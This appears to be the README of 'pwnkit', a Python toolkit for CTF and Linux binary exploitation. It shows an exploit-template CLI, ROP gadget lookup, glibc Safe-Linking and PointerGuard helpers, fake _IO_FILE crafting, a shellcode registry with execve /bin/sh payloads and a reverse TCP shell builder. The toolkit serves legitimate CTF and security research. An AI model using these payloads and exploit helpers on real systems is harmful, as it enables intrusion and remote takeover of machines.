Pwnkit
Pwn exploitation toolkit with a CLI for exp templates, and provide Python APIs for Linux binex, scripts, etc.
Install / Use
/learn @4xura/PwnkitREADME
pwnkit
Exploitation toolkit for pwn CTFs & Linux binary exploitation research.
Includes exploit templates, I/O helpers, ROP gadget mappers, pointer mangling utilities, curated shellcodes, exploit gadgets, House of Maleficarum, gdb/helper scripts, etc.
Installation
From PyPI:
Method 1. Install into current Python environment (could be system-wide, venv, conda env, etc.). use it both as CLI and Python API:
pip install pwnkit
Method 2. Install using pipx as standalone CLI tools:
pipx install pwnkit
Method 3. Install from source (dev):
git clone https://github.com/4xura/pwnkit.git
cd pwnkit
#
# Edit source code
#
pip install -e .
Quick Start
CLI
All options:
pwnkit -h
Create an exploit script template:
# Minimal setup to fill up by yourself
pwnkit xpl.py
# specify bin paths
pwnkit xpl.py --file ./pwn --libc ./libc.so.6
# run target with args
pwnkit xpl.py -f "./pwn args1 args2 ..." -l ./libc.so.6
# Override default preset with individual flags
pwnkit xpl.py -A aarch64 -E big
# Custom author signatures
pwnkit xpl.py -a john,doe -b https://johndoe.com
Example using default template:
$ pwnkit exp.py -f ./evil-corp -l ./libc.so.6 \
-A aarch64 -E big \
-a john.doe -b https://johndoe.com
[+] Wrote exp.py (template: pkg:default.py.tpl)
$ cat exp.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title : Linux Pwn Exploit
# Author: john.doe - https://johndoe.com
#
# Description:
# ------------
# A Python exploit for Linux binex interaction
#
# Usage:
# ------
# - Local mode : python3 xpl.py
# - Remote mode : python3 [ <HOST> <PORT> | <HOST:PORT> ]
#
from pwnkit import *
from pwn import *
import sys
BIN_PATH = './evil-corp'
LIBC_PATH = './libc.so.6'
host, port = load_argv(sys.argv[1:])
ssl = False
env = {}
elf = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH) if LIBC_PATH else None
Context('amd64', 'linux', 'little', 'debug', ('tmux', 'splitw', '-h')).push()
io = Config(BIN_PATH, LIBC_PATH, host, port, ssl, env).run()
alias(io) # s, sa, sl, sla, r, rl, ru, uu64, g, gp
init_pr("debug", "%(asctime)s - %(levelname)s - %(message)s", "%H:%M:%S")
def exploit():
# exploit chain here
io.interactive()
if __name__ == "__main__":
exploit()
Cleanest exploit script using the minmal template:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnkit import *
from pwn import *
import sys
BIN_PATH = None
LIBC_PATH = None
host, port = load_argv(sys.argv[1:])
ssl = False
env = {}
elf = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH) if LIBC_PATH else None
Context('amd64', 'linux', 'little', 'debug', ('tmux', 'splitw', '-h')).run()
io = Config(BIN_PATH, LIBC_PATH, host, port, ssl, env).init()
alias(io) # s, sa, sl, sla, r, rl, ru, uu64, g, gp
def exploit(*args, **kwargs):
# TODO: exploit chain
io.interactive()
if __name__ == "__main__":
exploit()
List available built-in templates:
$ pwnkit -lt
[*] Bundled templates:
- default
- full
- got
- heap
- minimal
- ret2libc
- ret2syscall
- setcontext
- srop
...
Use a built-in template:
pwnkit exp.py -t heap
Python API
We can use pwnkit as Python API, by import the project as a Python module.
Using the pwnkit CLI introduced earlier, we generate a ready-to-use exploit template that automatically loads the target binaries:
from pwnkit import *
from pwn import *
# - Loading (can be created by pwnkit cli)
BIN_PATH = './vuln'
LIBC_PATH = './libc.so.6'
host, port = load_argv(sys.argv[1:]) # return None for local pwn
ssl = False # set True for SSL remote pwn
elf = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH) if LIBC_PATH else None
io = Config(
file_path = BIN_PATH,
libc_path = LIBC_PATH,
host = host,
port = port,
ssl = ssl,
env = {},
).run()
# for IO
io.sendlineafter(b'\n', 0xdeadbeef)
io.sla(b'\n', 0xdeadbeef)
# This enable alias for: s, sa, sl, sla, r, ru, uu64
alias(io)
sla(b'\n', 0xdeadbeef)
Context Initialization
The first step is to initialize the exploitation context:
Context(
arch = "amd64"
os = "linux"
endian = "little"
log_level = "debug"
terminal = ("tmux", "splitw", "-h") # remove when no tmux
).push()
Or we can use the preset built-in contexts:
ctx = Context.preset("linux-amd64-debug")
ctx.push()
A few preset options:
linux-amd64-debug
linux-amd64-quiet
linux-i386-debug
linux-i386-quiet
linux-arm-debug
linux-arm-quiet
linux-aarch64-debug
linux-aarch64-quiet
freebsd-amd64-debug
freebsd-amd64-quiet
...
ROP Gadgets
To leverage ROP gadgets, we first need to disclose the binary’s base address when it is dynamically linked, PIE enabled or ASLR in effect. For example, when chaining gadgets from libc.so.6, leak libc base:
...
libc_base = 0x???
libc.address = libc_base
At this stage, with the pwnkit module, we are able to:
ggs = ROPGadgets(libc)
p_rdi_r = ggs['p_rdi_r']
p_rsi_r = ggs['p_rsi_r']
p_rax_r = ggs['p_rax_r']
p_rsp_r = ggs['p_rsp_r']
p_rdx_rbx_r = ggs['p_rdx_rbx_r']
leave_r = ggs['leave_r']
ret = ggs['ret']
ggs.dump() # dump all gadgets to stdout
The dump() method in the ROPGadget class allows us to validate gadget addresses dynamically at runtime:

Pointer Protection
In newer glibc versions, singly linked pointers (e.g., the fd pointers of tcache and fastbin chunks) are protected by Safe-Linking. The SafeLinking class can be used to perform the corresponding encrypt/decrypt operations:
# e.g., after leaking heap_base for tcache
slk = SafeLinking(heap_base)
fd = 0x55deadbeef
enc_fd = slk.encrypt(fd)
dec_fd = slk.decrypt(enc_fd)
# Verify
assert fd == dec_fd
And the Pointer Guard mechanism applies to function pointers and C++ vtables, introducing per-process randomness to protect against direct overwrites. After leaking or overwriting the guard value, the PointerGuard class can be used to perform the required mangle/detangle operations:
guard = 0xdeadbeef # leak it or overwrite it
pg = PointerGuard(guard)
ptr = 0xcafebabe
enc_ptr = pg.mangle(ptr)
dec_ptr = pg.demangle(enc_ptr)
# Verify
assert ptr == dec_ptr
Shellcode Generation
The pwnkit module also provides a shellcode generation framework. It comes with a built-in registry of ready-made payloads across architectures, along with flexible builders for crafting custom ones. Below are some examples of listing, retrieving, and constructing shellcode:
# 1) List all built-in available shellcodes
for name in list_shellcodes():
print(" -", name)
print("")
# 2) Retrieve by arch + name, default variant (min)
sc = ShellcodeReigstry.get("amd64", "execve_bin_sh")
print(f"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes")
print(hex_shellcode(sc.blob)) # output as hex
print("")
sc.dump() # pretty dump
print("")
# 3) Retrieve explicit variant
sc = ShellcodeReigstry.get("i386", "execve_bin_sh", variant=33)
print(f"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes")
print(hex_shellcode(sc.blob))
print("")
# 4) Retrieve via composite key
sc = ShellcodeReigstry.get(None, "amd64:execveat_bin_sh:29")
print(f"[+] Got shellcode: {sc.name}")
print(hex_shellcode(sc.blob))
print("")
# 5) Fuzzy lookup
sc = ShellcodeReigstry.get("amd64", "ls_")
print(f"[+] Fuzzy match: {sc.name}")
print(hex_shellcode(sc.blob))
print("")
# 6) Builder demo: reverse TCP shell (amd64)
builder = ShellcodeBuilder("amd64")
rev = builder.build_reverse_tcp_shell("127.0.0.1", 4444)
print(f"[+] Built reverse TCP shell ({len(rev)} bytes)")
print(hex_shellcode(rev))
Example output:

IO FILE Exploit
The pwnkit module also provides a helper for targeting glibc’s internal _IO_FILE_plus structures. The IOFilePlus class allows us to conveniently craft fake FILE objects:
# By default, it honors `context.bits` to decide architecture
# e.g., we set Context(arch="amd64")
f = IOFilePlus()
# Or, we can specify one
f = IOFilePlus("i386")
Iterate fields of the FILE object:
for field in f.fields: # or f.iter_fileds()
print(field)
Inspect its members offsets, names and sizes:

Set FILE members via names or aliases:
# Use aliases
f.flags = 0xfbad1800
f.write_base = 0x13370000
f.write_ptr = 0x13370040
f.mode = 0
f.fileno = 1
f.chain = 0xcafebabe
f.vtable = 0xdeadbeef
# Also honors original glibc naming
f._flags = 0xfbad1800
f._IO_write_base = 0x13370000
We can also use the built-in set() method:
# Set field via name
f.set('_lock', 0x41414141)
# Set via a specific offset
f.set(116, 0x42424242) # _flags2
Inspect the resulting layout in a structured dump for debugging:
f.dump()
# Custom settings
f.dump(
title = "your title",
only_nonzero = True, # default: False, so we also check Null slots
show_bytes = True, # default: True, "byte" column displayed
highlight_ptrs = True, # default: True, pointer members are highlighted
color = True, # default: True, turn off if you don't want colorful output
)
Dumping them in a pretty and readable format to screen:

Use the built-in get() method to retrieve a field value:
# retrieve via name
vtable = f.get("vtable")
# via offset
vtable
